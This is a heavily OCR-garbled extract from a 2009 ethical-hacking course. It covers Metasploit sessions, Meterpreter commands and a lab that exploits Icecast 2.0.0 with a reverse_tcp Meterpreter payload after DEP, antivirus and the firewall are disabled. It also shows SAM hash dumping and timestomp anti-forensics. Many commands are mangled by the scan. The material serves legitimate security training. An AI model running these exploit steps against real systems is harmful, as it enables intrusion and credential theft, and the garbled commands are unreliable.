Remember: DO NOT chanje anvthin.r on the system. Just look around. 

IF YOU DIDN'T GET A COMMAND SHELL ON THE TARGET, B UT 
INSTEAD GOT AN INDICATION OF AN OPEN SESSION, TURN TO 

THE NEXT SLIDE FOR INFORMATION ABOUT HO W TO INTERA CT 
WITH ME TA SPLOIT SESSIONS. 
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Listing Metasploit Sessions

r-] Error while running command exploit:

exploit(msO5 039 pnp) > sessions -1

Active sessions

Id Description Tunnel

Command shell 10.10.75.2:41243 -> 1O.10.10,iO:23121

insf exploit(insOS_039_pnp) > a
Network Pen Testing & Ethical Hacking - ', All Rights Reser:i 4T

rxi jLi iu;:4
Ele Edu View Terminal Go Help

[] Sending stage (474 bytes)

[1 Server did not respond, this is expected

[*1 Command shell session 2 opened (10.10,75.2:41243 > 10.10.i0.i0:23121)

If Metasploit did not give you a shell directly, but instead says, "Command shell session [N]
opened...", that means that your exploit worked, and that Metasploit has a connection open
with the target machine waiting for you. If you don't get your msf prompt back, hit CTRL-C
to do so. Just hit CTRL-C once, though. If you hit it twice, you will drop out of Metasploit.

Starting with version 3.0, Metasploit supports the concepts of different sessions for exploited
systems. With Metasploit 2.X, the MSF console could only exploit one system at a time and
give access to that one system. If you wanted to exploit multiple machines at the same time,
you'd have to run multiple copies of the MSF console. With the 3.X series, Metasploit
supports multiple sessions. You can exploit several different machines, and have sessions
opened with each of them. The sessions arc numbered, starting with 1.

If you did get a cmd.exe shell prompt from your exploit, and want to get back to the msf
prompt to look at sessions, hit CTRL-Z. Metasploit will prompt you, asking if you want to put
the session in the background. Hit y to do so.

To get a list of sessions that Metasploit currently has opened, you could type (at the Metasploit
prompt! Not at the cmd.exe prompt we've gotten on the target machine):

msf exploit (msO5_039_pnp) > sessions -1

The -I stands for "list", and this command shows us a list of open sessions.
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Fil F 

cd 

cd 

\WINNT\system32 

C:\WINNT\system32> ipconfig 

ipconfig 

Windows 2000 IP Configuration 

Ethernet adapter Local Area Connection: 

Connection-specific DNS Suffix 

IP Address 10.10.10.10 

Subnet Mask 255.255.0.0 

Interacting with a Session 

j 

To interact with an open session in Metasploit, we use the syntax: 

msf exploit (msO5_O39pnp) > sessions i [NI 

[N] is the session number we want to interact with. That will bring us back to the command 
prompt we have on the target machine. 

Hitting CTRL-Z will prompt you to background the session, giving you Metasploit console 

access again. Hitting CTRL-C will drop the session altogether, something that we don't 
want to do yet. 

Nut\v )rk Pen [etìn & i thica1 i lacUi iI2( AU RU i 48 
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nief exploit(rnsos_039_pnp) > sessions -i 

'j Starting interaction with 2... 

PDF compression, OCR, web optimization using a watermarked evaluation copy of CVISION PDFCompressor

http://www.cvisiontech.com


Exiting the Shell and the
Metasploit Console

Eile Etfit jew Terminal Go Help

\INNr\syste1n32> exit

exit

bort session 2? [y/Nl y

I Command shell session 2 closed.

mnsf exploit(rnsOS_O39pnp) > exit
J

To finish the exercise, we want to graceftilly exit the shell we created on the target. We can
do this by simply typing (at the cmd.exe prompt):

C:\> exit

Then, to gracefully close the Mctasploit console, finishing the exercise, we type:

msf exploit (msO5O39pnp) > exit

If you have extra time, you may want to look more deeply at the different exploits and
payloads that Metasploit supports (but don't run them against the targets right now):

# cd /home/tools/frainework-3 . O/modules

# is

# cd exploits

# is

And so on... look around at the cornucopia of exploits. Then, check out the payloads in
/home/tools/framework-3 .0/modules/payloads.
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Course Roadmap 

Planning and Sco 

Scanning 
Exploitation 

Password Attac 
Wireless Attacks 

Web App Attacks 

Why Exploitation? 
Exploit Categories 

Metasploit 
» Exercise: bind tcp 
) The Meterpreter 
> Exercise: Meterpreter 

Non-Metasploit Exploits 
Command Shell vs. 
Terminal Access 

Exercise: The 
Dilemma Illustrated 

Bypassing Dilemma 
Exercise: Relays for 

Term Access 
Moving Files with Exploits 

Pilfering from Target Machine5 
Windows Command Line 

Kung Fu for Pen Testers 
> Exercise: Challenges 

Making Win Run Commands 
Exercise: sc and wmic 

Because it is so useful for penetration testers and ethical hackers, we are going to 

zoom in on the Metasploit Meterpreter payload with a whole section devoted to the 
topic. The Meterpreter is arguably the most flexible payload in Metasploit 

(someone may put up a quite reasonable argiment associated with payloads that 

run a plain cmd.exe, saying that they are more flexible than the Meterpreter). 
However, the Meterpreter has some interesting and useful characteristics that even 

cmd.exe cannot provide. For that reason, we'll discuss it in depth now, focusing on 
those options most useful to us as penetration testers and ethical hackers. 
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The Metasploit Meterpreter

en Testing & Ethical I lac - ©20() [1 Ri Reserved 51

The Meterpreter is named after a fusion of the words "Metasploit" and "Interpreter". Most
of the hard-core development work in the Meterpreter was done by Skape. This Metasploit
payload offers an attacker a self-contained command shell environment that runs from
within the memory space of an exploited process. Thus, the Meterpreter doesn't create a
separate running process like most other Metasploit payloads and other exploitation tools.
Such an extraneous, attacker-created process might be noticed by an investigator. Instead,
the Meterpreter is just another DLL loaded into one of the processes on the target machine.
The Meterpreter can be extended with additional DLLs sent after the initial overall
Meterpreter module is loaded. This approach makes the Meterpreter rather stealthy, as most
administrators would never notice an extra DLL loaded into memory. By the way, to get a
listing of all DLLs loaded into all processes on a Windows XP, 2003, Vista, or 2008 Server
box, you could run:

C:\> tasklist Im
The Meterpreter would be a needle hiding in that haystack.

Note that because the Meterpreter is entirely memory resident, it disappears on reboot.

Currently, the Meterpreter is implemented only for Windows target machines. Its concepts
could be applied in theory to Linux or Unix, but no tools have been publicly released that
port Meterpreter-like functionality to non-Windows targets.

51

Metasploit exploit, +
Exploited
Process

4terpreter DLL
DLL DLL

Firewall Inject Meterpreter
Payload

Metasploit Interpreter = Meterpreter
A Metasploit payload that acts as a specialized shell running inside the
memory of a metasploit-exploited process
- Most of the hard-core development work in the Meterpreter is by Skape

Consists of a series of DLLs injected into the process's memory
- No separate process created
- Currently only runs on Windows targets Target Machine
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Meterpreter Functionality: 
Some Base Commands 

? / help: Display a help menu 

exit / ciuit: Quit the Meterpreter 

sysinfo Show name, OS type 

shutdown / reboot: Self- 
explanatory 

reg: read or write to the Registry 

Network Pen Testint ucd flac 009. All Rights Reserved 

We will now go over a sampling of some of the most powerful features of the Meterpreter. 
Please don't think of this as just a laundry list of individual, unrelated commands Instead, 

as we go through each command, think about how a penetration tester or ethical hacker 
could use these commands to do their jobs more effectively. When an exploitable Windows 

system is discovered, the Metcrpreter can be instrumental in maximizing the effectiveness of 

a tester against that system, so we need to understand its commands in depth. Pay careful 

attention, because you'll soon be performing an exercise using these commands. 

Some of the base commands included in the Meterpreter are: 

? / help: Either of these options will display a summary of the commands available in 

the Meterpreter, sorted into different functional groups, such a file system, network, and 

other command sets. 

exit / quit: Either of these commands will exit the Meterpreter session, removing it 
from the memory of the target machine. 

sys info: This command causes the Meterpreter to show the system name and operating 

system type of the compromised machine on which the Meterpreter is running. 

shutdown / reboot: These commands are pretty self-explanatory. 

reg: This option E ets a Meterpreter user read from or write to the Registry of the target 
machine. Because most Windows configuration options for both the operating system and 

most installed applications are stored in the Registry, this command gives us fine-grained 
control over the target system's configuration. 
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Meterpreter Functionality:
File System Commands

cd: navigate directory structure
lcd: change local directories on attacker machine
pwd I getwd: Show the current working directory
is: List the directory contents
cat: Display a file's contents

download / upload: Move a file to or from the machine
inkdir / rindir: Make or remove directories
edit: Edit a file usin. a vi-like interface

,4flnj
Eile d1: MOO bromar Oo I-Iel5i

nieterpretee. 1v

Mi:

The Meterpreter offers numerous commands associated with interacting with the file system.
In fact, this group of commands represents some of the most reliable and robust
functionality in the Meterprcter, offering pretty much every function a tester would need for
interacting with files:

cd: This command navigates the file system structure. As you'd expect, dot (.) is used to
refer to the current directory, and dot-dot (..) its parent.

lcd: This command changes directories on the local (attacker) machine.

pwd and getwd: Both of these commands print the current working directory. Almost
everyone uses pwd.

is: This command shows the contents of a directory. Directory contents are displayed
organized like the familiar "ls al" output of Unix and Linux systems, showing
read/write/execute (rwx) modes for owner, group, and everyone, as well as the file's size,
Last Modified date/time, and name.

cat: This command displays the contents of a file on the screen.

download / upload: These commands move files to or from the target machine.

mkdir / rmdir: These commands let the user make or remove a directory.

edit: This command implements a vi-like editor. To insert text, hit the "i" key. To
append text to a line, hit the "a" key. To delete characters, hit "x". To get out of edit mode,
hit "Ese". To save, hit ":" and then "w" "Enter". To quit, hit ":" and "q" "Enter." To force
a write or a quit, follow the "w" or "q" with a "!". This class isn't a tutorial on vi.
However, if you are unfamiliar with vi, that list of options should get you started. If you
already know vi, you will be very happy with the edit option of the Meterpreter.
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01141g: v:\

fgpv lavo modified Nonio

100777/rwor-axrov O fil Thu Nov 08 11:01:54 -51500 2007 AVTOEXEC.51T
1006667rw-rw--rw- O fil fha Nov 08 05:01:54 -0500 2007 CONfIO. SYS

'I777/n.orwxrwi
40777/rwVronVrwx O

O

dir
dir

Thu Nov 08 16:26110
mo 50v 08 16:24:40

-0500
-0500

2007
2007

DRIVERS
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Meterpreter Functionality: 
Process Commands 

getpid - Returns the process ID that Meterpreter is 

running inside 

getuid - Returns the user ID that the Meterpreter is 
running with 

ps - Process list 

kill - Terminate a process 
execute - Run a given program 
migrate - Jump to a given destination process ID 

- Target process must have the same or lesser privileges 

- May be a more stable process 

- When inside the process, can access any files that it has a lock on 

The Meterpreter includes numerous useful commands for interacting with processes on a 
compromised target machine. Some of the most useful process-related commands are: 

getpid - This command displays the process TD number of the process that the 
Meterpreter is running inside. 

getuid This options returns the user ID name that the Meterpreter is running with, such 

as SYSTEM. 

ps - As you might expect, this command shows a complete process list of all running 

processes on the target machine. 

kill - This one terminates a given process when provided its process ID number. 

execute This command runs a program with the privileges of the process the 
Meterpreter is running inside. It can be especially helpful if the attacker wants to kick off a 

cmd.exe or other tool on the target machine. 

migrate - 
This is one of the most fascinating process-related conimands in the 

Meterpreter. An attacker can use it to jump from the Meterpreter's current process to a 
given destination process ID. It injects the Meterpreter DLL into the target process and 

removes it from the earlier process, letting an attacker hop around between processes. The 
destination process must have the same or lesser privileges of the process that the 

Meterpreter is loaded into. An attacker may want to jump to another process for subterfuge 

or obfuscation. Alternatively, an attacker may decide to jump into a more stable process. 
Once inside a target process, the attacker can use the Meterpreter file system commands to 

interact with any files that the given process has read or write lock on. After all, the 
Meterpreter is now living inside that process, so it can access everything that process has to 

offer. 
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Meterpreter Functionality:
Network Commands 1

netorpreter I ipoonfig

flroadcon Getxtreoe Gigabit Ethernet Driver
Itardoare Stuc: 00:11:55:7f:dS:cg
IP Address 10.10.10.10
hetnask 255,255.0.0ìpconfig: Show

interface information
port fwd Forward ;0o00:00.0o

packets for a local TCP
251.0.0.0

port to another system ei
S.tuork routes

on a different TCP port .....

route: Manage the
10.10.0.0 255.251.0.0 10.10.10.1.0

systems' routing table 5255
127.0,0.0 255.0.0.0 127.0,0.1
224.0.0.0 224.0.0.0 10,10.10.10 ......

250.255.2s5.lss 255.255.255,255 10,10.10.10 'I

Network Pen Testing & Ethical Hacking - 2OO9, All Rights Ruscr\ed 55

The Meterpreter includes a handful of commands for interacting with the network interface
of the target machine. While not fully robust, these commands include most of the
functionality that a penetration tester would desire:

ipconf 1g: This Meterpreter command shows the name, MAC address, IP address, and
Netmask for all active interfaces on the machine.

port f wd: This command lets the Meterpreter user forward traffic for a given incoming
TCP port to another machine on a different TCP port. In effect, it turns the target machine
running the Meterpreter into a TCP relay, a bounce point for traffic to be sent to another
system. By carefully planting the Meterpreter with the appropriate portfwd options, a tester
could use this functionality as a pivot to launch exploits at other targets.

route: This option, used by itself, displays the system's routing table. With extra
arguments (add/del subnet, netmask, and gateway), it will update the routing table.

Note that, as of the time of this writing, the Meterpreter's network functionality does not
include a ping command.
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Meterpreter Functionality: 
Target Machine Console Interface 

The Meterpreter offers a couple of features 
associated with the target machine's console user 

¡ nterface: 

- Show how long the user at the console has been idle 

meterpreter > idletime 

- Turn on or off user input devices: 

rneterpreter > uictl 
(enable/disable] (keyboard/mouse] 

Can really mess with a user 
Dangerous for use in most penetration tests 

Network Pen restin thica1 f Ucking i Rights Reserved 56 

The Meterpreter includes two features for interacting with the console of the target machine. 
The idletime command makes the Meterpreter display the amount of time (in hours, 

minutes, and seconds) that the GUI of the victim machine has been idle, without user 
interaction. Thus, the attacker can get a sense of whether there is a person sitting in front of 

the machine. A long idle time implies that the machine is being ignored. 

The attacker can use the uict i command for User Interface Control, enabling or disabling 
the mouse and/or keyboard of the target machine running the Meterpreter. That's a very 

insidious functionality, because it neutralizes much of the advantage of the person sitting at 
the target machine console over the attacker. The attacker can still inject commands, but the 

user at the machine is effectively locked out from the user interface as the attacker has his or 
her way with the target system. 

In most penetration tests and ethical hacking exercises, the uictl command should be 
avoided. It brings operational risk in a production environment, as it prevents users and 

administrators from being able to control their systems. 

PDF compression, OCR, web optimization using a watermarked evaluation copy of CVISION PDFCompressor

http://www.cvisiontech.com


Meterpreter Functionality:
Additional Modules

The Core and Stdapi modules loaded by
default are powerful
But other modules provide very useful
capabilities for the tester
- Located under the framework directory, under

data/meterpreter

To load additional modules:
meterpreter > use [modulename]

Additional functionality will appear
? / help will be expanded to include the new
capabilities

& Ethical Hacking ©2009, All Rights Reserved

By default, when the Meterpreter payload is sent to a target, it carries with it the Core functionality
(e.g., help, interacting with channels, process migration) and Stdapi functions (e.g., file system,
process, and network interactions). But Metasploit supports the loading of additional modules
(implemented as DLLs) into the Meterpreter at any time after exploitation has occurred. These
modules can provide some very useful functionality to a penetration tester or ethical hacker,
extending the functionality of the Meterpreter. Metasploit stores these DLLs in the framework
directory of the attacking machine, inside data/meterpreter/. Three modules included in this
directory are metsrv.dll (which implements the Core functionality), ext_server_stdapi.dll (which
provides Stdapi functions), and one we haven't yet covered, ext scrver_priv.dll. We'll go over
that last one shortly.

To have the Meterpreter load a new module, we can use the following command once the
Meterpreter has been loaded into the target system by an exploit:

meterpreter > use (modulenaine]

The modulename is usually the last component of the DLL name, starting with a capital letter. So,
to load the ext server priv.dll, we'd run:

meterpreter > use -m Priv

The appropriate module will be loaded into the memory of the target machine, extending the
functionality of the Meterpreter. The help command's output will be extended to include a list and
description of the new features.

Other people could write additional extensions for the Meterpreter, giving it new capabilities
bundled together in another DLL. One of the most powerful aspects of the Meterpreter is its
modular extendibility.
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Meterpreter Functionality: 
Priv Module 

Two commands 
implemented in Priv 

module: 

- hashduinp - Dump the SAM 
database in a form suitable 

for cracking 

- timestomp - Alter the 
MACE dates/times 

associated with a file 
M=Modified (last written) 
A=Accessed 

C°Created 
E=MFT Entry 

Ve EdS yjew Terminal Go Help 

meterpreter > hashdunrp 
drinistrator: 500: 452495d04f1e4c200b4474S42 

f1ken :1005: 4fbd4cea97c 5752caad3b435b51404ee 
Guest :501: aad3b4'35b51404eeaad3b435b514040e :3 

.IUSR_BETTY :1001: cf96f9f56263f13a27bbcd3b5B 
:1002: 139c7319f42f47b4f2f552499094 

0:1004: bb2493bø9f6ecfc9aad3b43 5b51404ee: e 

an: 1003: eS2cacG74i9aga22SmJîlall8ccdf4Oa: 
Tslnte.rnetlrsor:1000:2c642b2c14cee2ec87481dc4 

nieterpreter > tirnestoirip 

usage; timestorrip filepath OPTIONS 

:0PT10MA 

-a <opt> Set the 'last accessed' tiare o 
-b Sot the MACE timestamps so tha 
-c <upt. Set the 'creation' tirso of the 
-e <opt, Sot the "sift entry modified" t 
-f <Opt> Set the MACE of attributes equ 
-h Help banner 
-rs <opt> Set the "last aritten" tiare of 
-r Set the MACE tiinestarnps recurs 
-v Display the OTO MAOE values of' 

-z <opt> Set all four attributes (MACE). 

The Priv module has two commands, one of which is very helpful for penetration testers and 
ethical hackers, and another one that is seldom used by good guy testers but is very helpful for the 

bad guys. 

Priv's hashdu.mp command tells the Meterpreter to dump the local SAM database from the target 
machine, displaying it on the screen. A tester could then grab a copy of that information, save it 

locally, and run a password cracking tool against it. This function is very helpful to testers, as it 
allows us to discern passwords from a compromised machine, which can be used not only to gain 

more flexible access of that machine, but also to attempt those same passwords for similar 
accounts on other systems. Because users and organizations often synchronize passwords, these 
cracked values could be immensely helpful. For hashdump to work, the attacker must exploit a 

target process running with Administrator or SYSTEM privileges. 

Priv's other feature is more useful to the bad guys than testers: timestomp. This function allows 
the Meterpreter user to alter dates and timestamps associated with files in NTFS partitions of the 

compromised machine. The different time stamps that can be altered are often referred to using the 

acronym MACE. The M stands for the last modified time of the file, the A is the last access time, 
and the C is the created time. The E stands for the time of changes to the MFT (Master File Table) 

Entry, which stores metadata about a file, such as its name (unicode and 8.3 DOS-style), size, and 
security settings. 

Timestomp supports altering any of these MACE times, setting them to any value the attacker 
desires to thwart forensics investigations. Again, this is unlikely to be helpful in the vast majority 

of penetration tests. For timestomp to work, the attacker must exploit a process that has the rights 
to alter the given file. 
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Terminal Access

Exercise: The
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> Bypassing Dilemma
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Term Access
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Windows Command Line
Kung Fu for Pen Testers

Exercise: Challenges
Making Win Run Commands

Exercise: sc and wmic

Next, we'll conduct a hands-on exercise, using Metasploit to explore various
options of the Meterpreter in depth. In this exercise, we'll use Metasploit on our
Linux virtual machine to exploit a vulnerable service on our Windows machine.
We'll take advantage of a server-side exploit for unpatched versions of the Icecast
Internet audio service, giving the attacker permissions that were used to invoke
Icecast.
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Server-Side Exploitation and 
Meterpreter Exercise 

In this exercise, we will exploit a vulnerable 
version of the Icecast service for Windows 

- And inject a reverse shell Meterpreter payload 

- Icecast is a free streaming multimedia server 
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Your Windows Box 

Install Ececast 2.0.0 

Reverse Meterpreter 
Shell runs in 

lcecast process 
memory 

Linux (virtua. 

C 

Senc xpo 
and Meterp 

Use Meterpre 

access viet 
rnachine 

In this exercise, we'll analyze the Meterpreter, using Metasploit to deliver this flexible payload to 
a vulnerable service that you'll put on your Windows machine temporarily. Specifically, we'll 

exploit the Icecast service (version 2.0.0), an Internet multimedia streaming server, which has a 
buffer overflow vulnerability. Our Metasploit payload will the Meterpreter stage, loaded via the 

reverse tcp stager, making a connection from the exploited box back to the attacker. 

You'll be running this exercise entirely on your own systems, with the vulnerable Icecast service 

on your Windows box getting exploited by your Linux virtual machine. On the slide, we depict 
Steps O through 4 of this exercise. Note that through the rest of the slides associated with this 

exercise, each of these step numbers will still apply. That is, Step i is always Step i for this 
exercise, although we'll break it down into sub-steps lA, lB, etc. 

In Step 0, we'll install the vulnerable Icecast service on our Windows machines. 

In Step 1, we'll configure Metasploit to exploit icecast. 

Tn Step 2, we'll exploit the target service, sending the reverse tcp stager as a payload with the 
Meterpreter stage. 

In Step 3, the Meterpreter runs inside Icecast's memory space, shoveling a reverse TCP connection 
back to the attacker. 

In Step 4, we (the attackers) will interact with the Meterpreter running inside of the compromised 
machine's Icecast process. 

At the very end, we'll uninstall Icecast. 
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O) Install Vulnerable Icecast
DISCONNECT FROM THE NETWORK!!!!

Double click on icecast2_win32_2.O.O_setup.exe

Tho wiN metodi 1x0x0002 W1n32. Do oxeo e00Im to xonhnxO?

No

t \,cecosuemçl

The pmoam eioo: at teatt 2.8.18 od dhk opaxe.
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Welcome to the Icecast2 Win32
Setup Wizard
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To begin the exercise in Step O, we need to install a vulnerable version of icecast.

FIRST DISCONNECT FROM THE NETWORK, SO THAT YOU WON'T HAVE A
VULNERABLE SERVICE EXPOSED!!! In Windows, you will need to activate the VMnetl
interface and in VMware, you will need to convert your VMware image to use Host-Only
Networking.

We want to keep this service in a self-contained portion of the file system, so we can quickly and
easily remove it later. Start the exercise by making a temporary directory using a cmd.exe command
prompt to type:

C:\> mkdir c:\icecasttemp
Then, double click on the icecast2_win322.O.Osetup.exe installation program on the course DVD.
It's in the Windows directory.

In Step OA, in the first window you see (titled "Setup"), simply click on "Yes" to start the
installation.

In the Setup Wizard, on the screen titled "Setup Icecast Win32", click on "Next >".

Accept the license agreement in the next window by clicking "I accept the agreement" and clicking
on "Next >".

In Step OB, when the installer wizard asks you to "Select Destination Directory", type in
c:\icecasttemp, and click "Next >". It will prompt you saying that the Directory Exists. Click "Yes".

Select the default for the "Select Start Menu Folder" by just clicking "Next >". Also, keep the
default "Create a desktop icon" selected and hit "Next >". Finally, click on the "Install" button to
finalize the installation of Icecast.
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During the install process, you will be prompted with an information screen. Click on "Next 
>". Then, you will see a final screen with a "Finish" button. Click on that. 

You have just installed Icecast. 
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O) Disable Data Execution
Prevention for Icecast

Windows Data Execution Prevention
might kill a process that is being
exploited
Thus, we need to put an exception in
for Icecast
Go to Control
Panei-System-Advanced--
Performance-*Settings-- Data
Execution Prevention
Select "Turn on DEP for all programs
and services except those I select"
Click Add
Browse to c: \icecasttemp\Icecast2 .exe
Click Apply, then OK
You will now need to reboot

Items in DEP exception list (if any):

Now, select the radio button that says "Turn on DEP for all programs and services except
those I select:".

Then, click the Add... button. In the file selection window that comes up, browse to and
select c:\icecasttemp\Ieecast2.exe. Click Open.

Then, click Apply and then OK. Now you can close your control panel. You must reboot
Windows for this change to take effect. Reboot now.
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Vouai Effects Advanced Data Execution Prevention

Data Exgcotion Prevention (DEP) helps protect
against damage from viruses ni-rd other security
threats. How does t work?

turn on DEP for essential Wiodorns progranrs and services
only

Turn en DEP for all programs and services except those I
select:

121 Icecast2von

RQroove

Your cernputvrs processor does not support hardware-boxed
DEP. -lomnoer Windows curl use DEP software to help prevent
sorno typos of attacks.

Cancel

Next, for the Icecast program we just installed, you should disable Data Execution
Prevention, a Windows feature that marks certain pages in memory as non-executable,
breaking some exploits altogether and lowering the probability of success of others. To
explicitly disable DEP for Icecast, access the following screen:

Control Panel-* System-*Advanced- Perfomiance-* Settings-*Data Execution Prevention

Make a note of your existing settings, so that you can restore them when you finish with this
exercise:

Radio button setting

Pen Testing & Ethical Hacking - ©2009. 11 Rights Reserved 63*
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O) Disable Certain Security 
Tools that Block Exploits 

Depending on the vendor, some of the following tools include 
functionality that block exploits or stop their payloads from 

running: 

- Anti-virus 

- Anti-spyware 

- Personal firewall 

- Host-based Intrusion Prevention System 

Browser "wrappers" I browser 
protection software 

- Security suite 

- Other tools 
Thus, you must disable this functionality or it may interfere with 

the exploit 
You must disable it using its admin GUI 

- Don't just kill its process or service, as it will likely still run 

T)rk Pen Testing & ical I lacking :('2009 Rights j 64 

As a final step in preparing our Windows machine for the exploit, you must turn off any 
installed security software that may block an exploit or stop payloads from running. There are 

countless different security tools that may have these features, depcnding on the particular 
vendor. Anti-virus tools, anti-spyware programs, personal firewalls, Host-based Intrusion 

Prevention Systems (IPSs), browser protection software, and general-purpose security suites 
all may include functionality that prevents successful exploitation. 

Thus, you'll need to disable such software for this exercise. To disable this software, use the 
administrative GUI for the security tool to shut off protection. DO NOT merely kill its process 

or shut down its service. Most modern security tools inject their code into other running 
processes, so if you merely kill their processes or shut down their services, they still continue 

to protect you! In fact, with their processes and services dead, they will likely protect you but 
won't be updateable via the administrative GUI while their processes are dead. Thus, if you 

kill the processes or stop the services, reboot so you can get into the admin GUI for the 
security tool again. 

If you don't have admin GUI access for the security tool, you really need such access for this 
exercise and the rest of the course. You could contact someone back at the office to grant you 

such access. Alternatively, with the appropriate permission from your organization, you could 
uninstall the security tool or boot to safe mode to try to shut it off. Regardless of how you do 

it, you should disable this protection before moving forward with the exercise. If the exercise 
does not work, it is likely because of such software. 
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We'll configure
Metasploit to
exploit the Icecast
service

We'll use
Meterpreter
payload with
reverse connectio

1) Configure Metasploit
Flie Edit View Terminal Go Help

{rootQt4-linux root]# cd /honie/ tools/frarnewo
{roott4linux frainework-3 .0]#
[root9t4linux framework-S .01# /insf console

inetasploit >

too)
C) )\

=[ insf V3.O
- ---=1 17E exploits - 104 payloads
- --=[ 17 encoders - 5 sops

=[ 30 aux

inst > show exploits

Exploits

Next, we'll move to our Linux virtual machine. Step i involves running Metasploit and
configuring it to exploit the Icecast service. Login with root privileges, and invoke
Metasploit as follows.

In Step I A, change to the Metasploit directoiy:

# cd /home/tools/frainework-3.O

In Step lB, mn the Metasploit Framework Console:

Il ./msfconsole

Note that your command prompt is now the Metasploit Framework console prompt (ms f

>).

In Step 1C, let's look at all of the exploits included in Metasploit.

msf > show exploits

Note that here are a huge number of exploits for all kinds of systems. Both client and
server-side exploits are included here. If you look carefully, you can see that there is one
exploit for a vulnerability called "icecast header". We will use this exploit.
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1) Configure Metasploit (1) 
tø$nu O oWar 

File Edit View Terminal Go I*l 

osi use expioìt/wiiìdows/http/icstJieader 
os 

ist exploit(icecast_header 
PAYLOAD => windows/ineterpre 

nsf e,ploit(ícecast.hnader) 
st exploit(icecast_header) 

lMadu1e 
options: 

l4ame Current Setting Required Descrip 

AYLOAD windows/meterpreter/rev 

show optio 

RHOST yes the target address 
RPORT 8000 yes The target port 

p 

DLL /home/tooin/fraoework-d.O/data/meterpreter/rrietsrv.dll yes The local path 
e DLI to upload 

Nctwrk Pen Testing & lLthicai liacking 2UO9, All Rights Reserved 
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We now choose the exploit in Step 1D. We'll use the Icecast Header buffer overflow 
exploit, which applies to the version of Icecast we installed in Step O. 

msf > use exploit/windows/http/icecast_header 

Note that our prompt has changed and now includes the name of the exploit we've chosen. 

In Step lE, we choose the payload to use in the exploit. We've opted for a Meterpreter 
payload, that will make a reverse TCP connection back to the attacker once it is running 

inside the vulnerable process. 
msf exploit(icecast_header) > set PAYLOAD 

windows /meterpreter/ reverse_tcp 

Next, let's look at the options that are associated with this exploit, in Step 1F: 

msf exploit(icecast_header) > show options 

We have to configure these options for our attack. 
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Name Current Setting Required Description 
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Vpo.-j1 J

Eile Edit View Termrnai Go Help

5f exploit(icecastheader)(s set RHOST 10.1076.2
HOST => 10.10.76.2
5f exp1oit(icecast_heador)
st exploit(icecast_hcader 1

LHOST => 10.10.75.2
isf exploit(icecast_header)
st exploit(icecast_header)

TARGET => O
tnsf exp1oit(icecastJieader) >

1) Configure Metasploit (2)

set LHOST 10.10.75.2 j

set TARGET O
j

Again, continuing with Step 1G, the first option we'll set is the RHOST. This will be the IP
address we want Metasploit to attack. We should enter the IP address of our Windows machine
running the vulnerable Icecast service. Make sure you use the VMnetl IP address you configured
for your Windows machine.

msf exploit(icecast_header) > set RHOST [Your_WindowslP_Address]

In Step 1H, we need to tell Metasploit where it should configure the Meterpreter reverse shell to
connect to. We want it to connect back to our Linux machine, so let's set it to do so:

msf exploit(icecast_header) > set LHOST [YourLinuxlPaddr]

And, finally, in Step lI, we need to tell Metasploit what type of target machine we are interested
in. There is only one type of target for this exploit, but we should specify it to be complete. For
some Metasploit exploits, the target type is automatically set.

msf exploit(icecast_header) > set TARGET O

Metasploit is now configured. We're almost ready for the attack, but we have a little
housekeeping to do first.
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1) Run Icecast on Windows 
iTlt 

Icecas2 W1n32 

Icecamt2 Version 

File Configuration About 

Stat Type 

Start Server on 
Application Startup 

Source Level Stats j 

Global Statistics 

Name j Vahre 

Server Has Peen Running Not running 

Hide To Systrey 

Tn Step 1J, we need to invoke the Icecast server on our Windows machine. You can do this 
by simply double clicking on the Icccast2 Win32 icon on your desktop. 

When the GUI for Tcecast appears, click on the "Start Server" button. The "Server Status" 
indication should turn green and say "Rurming". Ifa personal firewall prompts you asking 

whether you want to allow the Icecast program to listen on the network, allow it to do so. 
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I

1) Finish & 2) Sending Exploit

vi

Edn View Tetminal ci Hein

xploit(i.cecast_header, i service iptabies stop
xecuting: service ip Li... ..t....

Pinging i 10.75.2 mith 32 byto of dota:
ist

lRnply from 10.10.75.2: hten32 timn<lr.o TTL64liS Replu from 10.10.75.2: bgtos32 tine<lno ITb64
.ggf 0epiy from 10.10.75.2: hytes=32 tine<lns TTL=64

iBeply from 10.10.75.2: bytes=32 tine(lns TlL=64

nsf III
pif exploit(icecastheader)

2 if exploit(icecastJieader i exploit
[] Started reverse handle
1*] Transmitting intermediate stager for over-sized stage.. (89 bytes)
[5] Sending stage (2834 bytes)
[5] Sleeping before handling stage...
:[] Uploading DLL (81931 bytes)..
[*] Upload completed.
[5] Meterpreter session i opened (1910.75.2:4444 -> 10.10.76.2:1354)

In Step 1K, to make sure that Windows can reach our Linux machine with the reverse
Meterpreter shell unfettered, let's drop the firewall on the Linux machine. We can do this by
running:

msf exploit(icecast_header) > service iptables stop

Note that we've run a generalized operating system command from within the Metasploit
console. That's a nice capability as it gives us access to the local machine's resources from right
within Metasploit.

In Step iL, let's also make sure that Windows can ping Linux. On your Windows machine ala
cmd.exe, run:

C:\> ping [YourLinuxlPaddr]

If the ping works successfully, we are ready to go. If it does not, double check your network
settings.

For Step 2, let's launch the attack. On your Linux machine, at the msf prompt, simply type
exploit and hit enter:

msf exploit(icecast_header) > exploit

If the exploit is successful, you should see a message on Linux saying "Meterpreter session [NJ
opened".
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Flushing aU chains:
Removing user defined chains:
Resetting built-in chains to the defau ACCEPT poi icy:

C:".>ping 10.10.75.2
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2) If Icecast Crashes... 

If Icecast crashes, just run it again 
Remember, most exploits have 

a probabilistic nature 
They don't work 100% of the time 

So, relaunch Icecast by closing its GUI 

Re-run the GUI from your desktop and 
start the service again 

The exploit may not be successful. If you successfully exploited the target service, move on 
to the next slide. 

If it is not successful, keep in mind that when Metasploit exploits Icecast, there is a chance 
that Icecast could crash. Remember, most exploits have a certain probability of success, 

falling short of 100%. We chose to use the Icecast exploit because it has a higher 
probability of success on Windows XP, 2003, and Vista, but it will sometimes crash the 

program. 

If your see a message on your Windows box that says Icecast has crashed, simply re-run it. 

You can do this by closing the Icecast GUI on Windows. Then, re-run Icecast by double 
clicking on it on your Windows desktop. Click on the "Start Server" button again, and 

watch for the Server Status box to turn Green and say "Running". 

Then, try running the exploit command again in the Metasploit console. 
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3) Look at and Interact with
Reverse Meterpreter Session

3A

3B

X

Eile edit ew lerminal o help

jf expio.it(.icecasuheadeT() > sessions t
)

dye sessions

Id Description funnel

i Meterpreter 10.10.75.2:4444 >10.10.76.2:

leterpreter s
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)
)
)
)
)
)
)
)
)
)
)
)

msf exploit(icecast header) > sessions -1

If you have a meterpreter > prompt, you can proceed to interact with it. However, if
Metasploit tells you that you have a session, but it doesn't bring up a prompt, such as the
